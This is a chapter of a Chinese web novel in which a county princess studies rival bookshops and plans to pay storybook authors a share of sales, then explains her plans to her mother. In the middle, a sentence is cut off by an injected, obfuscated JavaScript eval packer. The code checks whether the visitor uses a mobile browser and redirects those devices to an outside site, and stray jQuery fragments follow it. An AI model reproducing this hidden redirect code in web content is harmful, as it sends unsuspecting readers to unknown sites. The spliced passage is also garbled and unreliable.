一离开自家书铺，感觉周围都变得热闹起来了。
书坊上的书铺，一家挨着一家，檐下的招牌也各有讲究，或描金，或描黑。
隔壁卖笔墨的铺子，一伙计正在扯着嗓子吆喝，拖着长音：“上好的松烟墨嘞！各位客官，走过路过，不要错过啦。”
往前没走几步，又听得一声更响亮的吆喝声：“新出的《西厢记》绣像本！颜色精美，字字清晰无错漏。”
循着声音走进铺子，一下就瞧见货架上摆着的各色话本，封皮上有的印着仕女图，有的印着持剑的侠客，还有些印着手持红缨枪的将军。热闹极了。
铺子里的客人，比自家多多了，除了丫鬟，郎君，竟还有些穿着短打的市井汉子。都在话本架子前挑挑拣拣。
顺手挑了几本看着最显眼的，又转身去了别家书铺。
一路走下来，看了五六家，李铮心里也渐渐有了数。
门庭若市的那些铺子，无一不是话本卖得好的，而且个个都把话本摆在显眼的位置，恨不得路过的人，不进铺子就能看见。时不时还能听到伙计吆喝，某某居士新话本上新，速来买。
反观自家书铺，却把科考真题摆在最显眼的地方，话本只在靠墙架子上，难怪客人稀稀拉拉。
带着买来的几册话本，李铮回了自家书铺。
她打断自家书铺掌柜的动作，将刚才买的话本摊在柜台上。“张大掌柜，你先停一停。”
张大掌柜定眼一瞧，当即认出，这些都是别家书铺热销的话本。“县主，您是想我们也印些这种话本？不过好的话本才人不太好找。”
李铮指着摊开的话本，淡淡说道：“不是要印和他们一样的，而是那些生意好的铺子，无一不是话本卖得好的。说明就是会有很多人喜欢买话本。”
“但我看这两年话本都是些老样子。再好看的话本，翻来覆去看，也会腻味。”
“我要的不是和别家书铺一样热闹，而是好看的不老套的话本。”
张大掌柜愣了愣，沉吟道：“县主，是想广收话本？不过一是话本才人不好找，二是新本子没名气，未必有人愿意买。”
李铮点了点头，继续问道：“当前润笔费是如何算的？”
“回县主，千字两百文。名气大的略高些，新人略降些。”
千字两百，一万字也就是二两银子，但是这一万字不知道要写多久，想必有才华愿意来投稿的人不多。
李铮不是不食人间烟火的人，她知道洛川城里十两银子就够普通人家一年吃穿了，可是真有才华的人哪里会为了这二两银子写话本，毕竟买断制，写得再好也没什么大用。
她想看话本，想看到有新花样的话本，就势必要让，一是之前不愿写话本的人，现在愿意写；二是原来写得不甚用心的人，现在愿意用心琢磨。
只有这样，才能一直有源源不断的新话本看。
要想马儿跑，必须给马儿吃草，李铮不吝于往外分钱：“往后每年，书铺盈利和现在比增加的部分，给你提半成。”
张大掌柜眼睛猛地一亮，他做这个书铺掌柜，一直中规中矩，毕竟按部就班就能拿钱，非要折腾反而容易被主家嫌不安分。
现下来了个愿意折腾的主子，也不打压，还愿意分钱，他开心坏了。
连忙拱手笑道：“县主放心，小人在这守了好几年的书铺了，往后定当竭尽全力，保准让生意红火起来，县主让我往东，我绝不往西。”
李铮见他一扫之前的疲惫，眉眼间充满干劲，笑了笑说道：“掌柜不必多礼，用心办事即可。”
“这两日你好好琢磨琢磨，怎么才能招来更多的话本先生。”李铮又想到一事，补充道：“对了，我打算把话本润笔费也改成分成制，你回来测算下成本，把具体的账目报给我。”
张大掌柜连忙应下，正要回话，余光瞥到了柜台侧后方的女儿，心思忽地一动。
他的大女儿桂丫，论起头脑灵活、手脚麻利，周围同龄的小娘子，小郎君，没一个能比的。
平日在铺子整理书籍，帮忙做账，样样拿得出手。可是外面铺子愿意雇她的人很少。
因着李铮也是女子，他打算为女儿争取下：“好嘞，小人回去就整理。小人的大女儿经常在铺子里帮忙，人极伶俐，前两天还给书铺想了些点子，明天我们一起去府上给回话，您看成吗？”
一旁的桂丫，连忙上前请安，脆生生地说道“给县主请安。”
她抬眼时，眼神清亮，又很恭敬：“县主放心，我自小就在铺子里帮忙，认识些字，对书铺熟悉着呢。”
李铮轻轻颔首道：“行，那明日你们一起过来，只要是个得用的，都有赏银拿。”
李铮素来不怕人多，只怕得用的人少。
这话一出，铺子里的伙计都听得心头火热，他们觉得生活更有奔头了，自己好好跟着干，说不准也能拿赏银。
临走时，李铮又让张大掌柜拿了几本最近畅销的话本。
-----------------
回到家中，这个时间，若是父亲安王没外出，定是在后院的池塘里钓鱼，或是在收藏室，欣赏他的那些古玩。
母亲张氏则是和丫鬟们一起琢磨衣服首饰，他们家衣服首饰生意好，多亏了张氏喜欢琢磨这个。
李铮脚步轻快，还没到张氏跟前，李铮就扬着声音喊了起来，眉眼间都是雀跃：“娘，我回来啦！”
进去时，张氏正拿着一根簪子端详，闻言笑着抬眼：“这是碰到什么喜事了，怎么这么高兴。”
“娘，你没见我今天沉稳的模样。”李铮说完，就扭头看向一旁的周嬷嬷。
周嬷嬷闻言，连忙上前笑着回话：“夫人，县主今日当真沉稳得很，同张大掌柜说话时，句句都有条有理，半点不见平日和您说话时的孩子气。”
李铮又笑着凑到张氏跟前：“平日我那叫彩衣娱亲，外人面前还是很端得住的。”
张氏被她拼命耍宝的模样，逗得哭笑不得。
玩笑了一会，李铮正色看向张氏：“今日除了咱自家的五柳斋，还另去了别家书铺，几家生意红火的，都是话本卖得好的。”
“不过他们的话本，我大致看了几眼，都是些常见的。看几本还行，若是一直看，肯定就腻烦了。”
“我打算提高润笔费，一是想让平日不写的也来写；二是让他们有个盼头，只要自己写
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062430|195084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得好，就能多挣钱。”
张氏放下手中的簪子，想了想对李铮说：“话本是人写出来的，你得先弄清楚，自己想要什么，这样底下的人才能帮你做好。”
说完，她顿了顿，又问道：“还要想明白，你是只为了自己看，还是想顺带把书铺生意做好，再或者有别的想法。这几者区别是很大的。”
李铮思忖片刻：“我想有源源不断的好话本看，不光是自己看，还想让大家也能看到好看的话本。”
“这两年，我最期待的就是收到祖母信的日子。信里是祖母的人生，她碰到哪些人，见到哪些风景，吃过哪些食物，有时还会有她听过的故事。有意思极了。”
“还有那些说书的，台上，说书先生讲得眉飞色舞；台下，百姓听得十分入迷，有那投入的，还会跟着笑，跟着哭。台上说得尽兴，台下听得过瘾。”
“那些喜欢看戏的人也是，看得就是戏班子演绎的故事。”
“母亲你瞧，”李铮声音有些抖：“好故事就是能让人兴奋，让人悲痛，让人满足。”
“我想做的就是，把这些能让人兴奋、悲痛，满足的故事，印到纸上。”
“故事可能会消失，但是印成话本，变成文字，就能流传更广。一场戏才能多少人看到，但是话本，能让更多的人，知道这个故事。”
“当然这不是说，说书先生或戏班子不好，只是说他们的演绎，无法留存。而文字可以。”
“三者也不是竞争关系，而是互相影响。”
“阿娘你想，就算是同样的故事，读话本，听说书，看戏班子演戏，肯定是不同的感受对不对。”
见张氏点头，李铮继续往下说：“所以好故事才是最重要的，想收集故事，两种方法，要么口述，要么文字。对书铺来说，肯定是文字方便。”
“有了好的故事，客人得到满足，店里生意好转，写话本的自然而然挣到了钱，大家都有收获。现在是因为润笔费少，好话本少，才没转起来。”
“所以我打算提高话本才人的润笔费。让他们挣到的银钱，跟销量挂钩，只要卖得好，就能挣得更多的银钱。”
听完李铮这长长一段话，张氏有些怔住。
她原以为李铮不过是一时兴起，只是想找话本才人写几本新鲜的话本看。自家也不缺钱，就随她折腾去了。
没想到竟想了这般多。连说书先生和戏班子都提到了，还看透了长远生意的门道。
愣了片刻，她才轻轻地拍了拍李铮的肩，眼底全是骄傲和自豪。她的女儿，头脑聪明，心思灵活。
笑着看向李铮：“没想到你竟想了这般多，之前是娘小瞧你了。不知不觉，你竟这般厉害了。”
“既然已经想清楚，那就大胆放手去做吧，不要怕亏钱。书铺大掌柜是个踏实的，其他小厮丫鬟，你可以多留心观察，看谁肯做事。”
“有拿捏不准的地方，不用怕出错。拿不定主意的，只管来府里问我，或者问你父亲。千万不要不好意思。而且出错了也不要紧，改掉就好了。”
李铮听完重重点头，顺势又趴在张氏膝头，好好腻歪了一会儿。
心里那点隐约的忐忑，也都消失不见了。